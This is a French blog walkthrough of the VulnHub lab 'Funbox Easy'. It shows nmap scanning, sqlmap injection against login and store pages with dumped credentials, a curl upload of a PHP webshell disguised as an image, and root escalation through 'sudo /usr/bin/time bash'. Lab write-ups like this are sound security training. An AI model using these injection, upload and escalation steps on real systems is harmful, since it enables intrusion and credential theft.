Accueil Solution du CTF Funbox Easy de VulnHub
Post
Annuler

Solution du CTF Funbox Easy de VulnHub

L’enfer est pavé de CTFs cassés

Funbox: Easy est présenté comme un CTF simple… normalement.

La particularité du CTF c’est le nombre de webapps vulnérables qui font qu’on ne sait pas trop où se concentrer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ sudo nmap -sCV --script vuln -T5 -p- 192.168.56.122
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.56.122
Host is up (0.00039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:8.2p1: 
|       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A    10.0    https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A  *EXPLOIT*
|       F0979183-AE88-53B4-86CF-3AF0523F3807    9.8     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807  *EXPLOIT*
|       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408
--- snip ---
|       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368
|_      PACKETSTORM:140261      0.0     https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /admin/: 
|     PHPSESSID: 
|       httponly flag not set
|   /admin/index.php: 
|     PHPSESSID: 
|       httponly flag not set
|   /store/: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /admin/: Possible admin folder
|   /admin/index.php: Possible admin folder
|   /robots.txt: Robots file
|   /secret/: Potentially interesting folder
|_  /store/: Potentially interesting folder
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.41: 
|       C94CBDE1-4CC5-5C06-9D18-23CAB216705E    10.0    https://vulners.com/githubexploit/C94CBDE1-4CC5-5C06-9D18-23CAB216705E  *EXPLOIT*
|       95499236-C9FE-56A6-9D7D-E943A24B633A    10.0    https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A  *EXPLOIT*
|       2C119FFA-ECE0-5E14-A4A4-354A2C38071A    10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A  *EXPLOIT*
|       PACKETSTORM:181114      9.8     https://vulners.com/packetstorm/PACKETSTORM:181114      *EXPLOIT*
--- snip ---
|       B8198D62-F9C8-5E03-A301-9A3580070B4C    4.3     https://vulners.com/githubexploit/B8198D62-F9C8-5E03-A301-9A3580070B4C  *EXPLOIT*
|       1337DAY-ID-36854        4.3     https://vulners.com/zdt/1337DAY-ID-36854        *EXPLOIT*
|       PACKETSTORM:164501      0.0     https://vulners.com/packetstorm/PACKETSTORM:164501      *EXPLOIT*
|       PACKETSTORM:164418      0.0     https://vulners.com/packetstorm/PACKETSTORM:164418      *EXPLOIT*
|_      05403438-4985-5E78-A702-784E03F724D4    0.0     https://vulners.com/githubexploit/05403438-4985-5E78-A702-784E03F724D4  *EXPLOIT*
33060/tcp open  mysqlx  MySQL X protocol listener
MAC Address: 08:00:27:9A:06:51 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.80 seconds

Commençons par la zone /admin qui a le titre HTML Small CRM Projects. Une recherche sur exploit-db remonte plusieurs vulnérabilités pour un logiciel nommé Small CRM, dont une faille de bypass d’authentification : Small CRM 2.0 - Authentication Bypass - PHP webapps Exploit.

Effectivement, on peut bypasser l’authentification de manière classique, mais une fois connecté, je ne trouve rien pour faire levier pour obtenir un shell. Je lance donc sqlmap sur la faille SQL :

1
sqlmap  -u http://192.168.56.122/admin/index.php --data "email=yolo&password=yolo&login=" --dbms mysql --risk 3 --level 5

Les identifiants admin sont dans une table spécifique alors que les autres comptes dans une autre table :

1
2
3
4
5
6
7
8
Database: crm
Table: admin
[1 entry]
+----+--------+--------------+
| id | name   | password     |
+----+--------+--------------+
| 1  | admin  | asdfghjklXXX |
+----+--------+--------------+

J’ai ensuite énuméré dans ce dossier, mais toujours rien. Je suis ensuite passé sur le store ̣. Ce dernier a une section d’administration et admin / admin est accepté.

On peut éditer et supprimer des entrées pour des livres et uploader des fichiers… sauf que l’upload est cassé, les fichiers n’apparaissent pas à l’endroit où ils sont censés se retrouver.

Je suis donc passé une nouvelle fois à sqlmap :

1
sqlmap -u "http://192.168.56.122/store/book.php?bookisbn=978-1-49192-706-9" --dbms mysql --risk 3 --level 5 -D store -T customers --dump

Tout ce que j’ai eu, c’est le hash pour l’utilisateur admin dont j’ai déjà le mot de passe.

1
2
3
4
5
6
7
8
Database: store
Table: admin
[1 entry]
+------------------------------------------+--------+
| pass                                     | name   |
+------------------------------------------+--------+
| d033e22ae348aeb5660fc2140aec35850c4da997 | admin  |
+------------------------------------------+--------+

Le fichier robots.txt avait une entrée pour /gym. Il y a beaucoup de chose dans ce dossier comme des sous-dossiers avec des scripts qui semblent en doublon. J’ai trouvé 3 scripts d’upload là-dedans, mais tous étaient cassés.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
301        9l       28w      322c http://192.168.56.122/gym/profile
200        4l       20w      137c http://192.168.56.122/gym/register.php
301        9l       28w      320c http://192.168.56.122/gym/admin
301        9l       28w      321c http://192.168.56.122/gym/upload
200        0l        0w        0c http://192.168.56.122/gym/upload.php
200      133l      309w     4848c http://192.168.56.122/gym/index.php
200      121l      278w     4282c http://192.168.56.122/gym/edit.php
200        0l        0w        0c http://192.168.56.122/gym/up.php
200      168l      487w     7624c http://192.168.56.122/gym/packages.php
301        9l       28w      322c http://192.168.56.122/gym/include
200      141l      442w     5248c http://192.168.56.122/gym/about.php
301        9l       28w      318c http://192.168.56.122/gym/img
500        0l        0w        0c http://192.168.56.122/gym/home.php
200      122l      501w     5837c http://192.168.56.122/gym/facilities.php
200      116l      272w     4104c http://192.168.56.122/gym/contact.php
200      339l     2953w    18025c http://192.168.56.122/gym/LICENSE
200      113l      268w     4252c http://192.168.56.122/gym/Feedback.php
301        9l       28w      318c http://192.168.56.122/gym/att
200       27l       54w      816c http://192.168.56.122/gym/att.php
301        9l       28w      317c http://192.168.56.122/gym/ex
301        9l       28w      319c http://192.168.56.122/gym/boot
500        0l        0w        0c http://192.168.56.122/gym/editp.php

Pourtant, une faille d’upload existe belle et bien :

Gym Management System 1.0 - Unauthenticated Remote Code Execution - PHP webapps Exploit

Grosso-modo il aurait fallut faire ça :

1
curl -s -D- "http://192.168.56.122/gym/upload.php?id=hello" -X POST -F 'file=@sh.php.png;type=image/png' -F "pupload=upload"

Puis à force de fouiller, la VM ne voulait plus rien savoir : temps de réponse anormalement long, connexion impossible des applis sur le serveur MySQL après reboot…

Bref, la VM était cassée, sans doute que les logs ont bouffé tout l’espace disque.

Fastoche

Une fois la VM supprimée et réimportée, l’upload depuis la gestion des livres (/store) fonctionnait sans problème et sans aucune restriction.

Après le webshell, je suis passé à reverse-ssh et l’escalade de privilèges a été aisée :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
www-data@funbox3:~$ ls /home/
tony
www-data@funbox3:~$ find / -user tony -ls 2> /dev/null 
   268716      4 drwxr-xr-x   3 tony     tony         4096 Jul 31  2020 /home/tony
   268743      4 -rw-r--r--   1 tony     tony         3771 Feb 25  2020 /home/tony/.bashrc
   269494      4 -rw-------   1 tony     tony         1576 Jul 31  2020 /home/tony/.viminfo
   268744      4 -rw-r--r--   1 tony     tony          807 Feb 25  2020 /home/tony/.profile
   269493      4 -rw-rw-r--   1 tony     tony           70 Jul 31  2020 /home/tony/password.txt
   269495      4 -rw-------   1 tony     tony           30 Jul 31  2020 /home/tony/.bash_history
   268780      0 -rw-r--r--   1 tony     tony            0 Jul 30  2020 /home/tony/.sudo_as_admin_successful
   268778      4 drwx------   2 tony     tony         4096 Jul 30  2020 /home/tony/.cache
   268745      4 -rw-r--r--   1 tony     tony          220 Feb 25  2020 /home/tony/.bash_logout
www-data@funbox3:~$ cat /home/tony/password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: admin@admin.com admin
www-data@funbox3:~$ su tony
Password: 
tony@funbox3:/var/www/html$ id
uid=1000(tony) gid=1000(tony) groups=1000(tony),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
tony@funbox3:/var/www/html$ sudo -l
Matching Defaults entries for tony on funbox3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tony may run the following commands on funbox3:
    (root) NOPASSWD: /usr/bin/yelp
    (root) NOPASSWD: /usr/bin/dmf
    (root) NOPASSWD: /usr/bin/whois
    (root) NOPASSWD: /usr/bin/rlogin
    (root) NOPASSWD: /usr/bin/pkexec
    (root) NOPASSWD: /usr/bin/mtr
    (root) NOPASSWD: /usr/bin/finger
    (root) NOPASSWD: /usr/bin/time
    (root) NOPASSWD: /usr/bin/cancel
    (root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
tony@funbox3:/var/www/html$ sudo /usr/bin/time bash
root@funbox3:/var/www/html# cd
root@funbox3:~# ls
root.flag  snap
root@funbox3:~# cat root.flag 
 __________          ___.                      ___________                     
\_   _____/_ __  ____\_ |__   _______  ___ /\  \_   _____/____    _________.__.
 |    __)|  |  \/    \| __ \ /  _ \  \/  / \/   |    __)_\__  \  /  ___<   |  |
 |     \ |  |  /   |  \ \_\ (  <_> >    <  /\   |        \/ __ \_\___ \ \___  |
 \___  / |____/|___|  /___  /\____/__/\_ \ \/  /_______  (____  /____  >/ ____|
     \/             \/    \/            \/             \/     \/     \/ \/     
                                                                        
Made with ❤ from twitter@0815R2d2. Please, share this on twitter if you want.

J’ai jeté un œil pour comprendre pourquoi les attaques sur les scripts d’upload dans /gym échouaient. Il s’avère que les fichiers appartiennent à root et ne sont pas modifiables pour www-data :

1
2
root@funbox3:/var/www/html# ls -ald gym/upload
drwxr-xr-x 2 root root 4096 Nov 22  2018 gym/upload
Cet article est sous licence CC BY 4.0 par l'auteur.